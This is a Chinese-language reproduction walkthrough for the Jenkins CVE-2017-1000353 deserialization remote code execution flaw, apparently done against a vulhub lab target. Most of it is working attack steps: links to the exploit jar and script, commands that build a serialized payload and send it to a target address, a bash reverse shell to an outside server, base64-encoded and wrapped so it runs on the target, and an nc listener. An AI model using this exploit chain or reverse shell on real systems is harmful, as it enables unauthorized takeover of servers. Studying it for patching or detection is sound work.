一、漏洞概述
Jenkins未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。
二、影响范围
Jenkins主版本均受到影响(包括<=2.56版本)
Jenkins LTS均受到影响(包括<=2.46.1版本)
三、访问页面
四、漏洞验证
1、下载 CVE-2017-1000353-1.1-SNAPSHOT-all.jar和exploit.py
https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
我这里下载到桌面。
2、在桌面打开cmd窗口,生成ser二进制利用文件,本机环境为win10,在桌面上生成了jenkins_poc.ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/123"
3、在桌面打开cmd窗口执行,发送数据包能,发送成功说明存在漏洞。
python exploit.py http://123.58.224.8:47188 jenkins_poc.ser
五、漏洞复现
1、反弹shell制作,这里使用了自己的vps服务器。
bash -i >& /dev/tcp/91.208.73.100/7777 0>&1
2、使用base64进行编码Base64编码/解码器,在线解码Base64
YmFzaCAtaSA+JiAvZGV2L3RjcC85MS4yMDguNzMuMTAwLzc3NzcgMD4mMSA=
编码后再构造shell
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC85MS4yMDguNzMuMTAwLzc3NzcgMD4mMSA=}|{base64,-d}|{bash,-i}
3、在桌面打开cmd窗口,生成ser二进制利用文件poc.ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC85MS4yMDguNzMuMTAwLzc3NzcgMD4mMSA=}|{base64,-d}|{bash,-i}"
4、使用exploit.py脚本发送poc.ser
python exploit.py http://123.58.224.8:47188 poc.ser
5、在vps服务器监听7777端口
nc -lvp 7777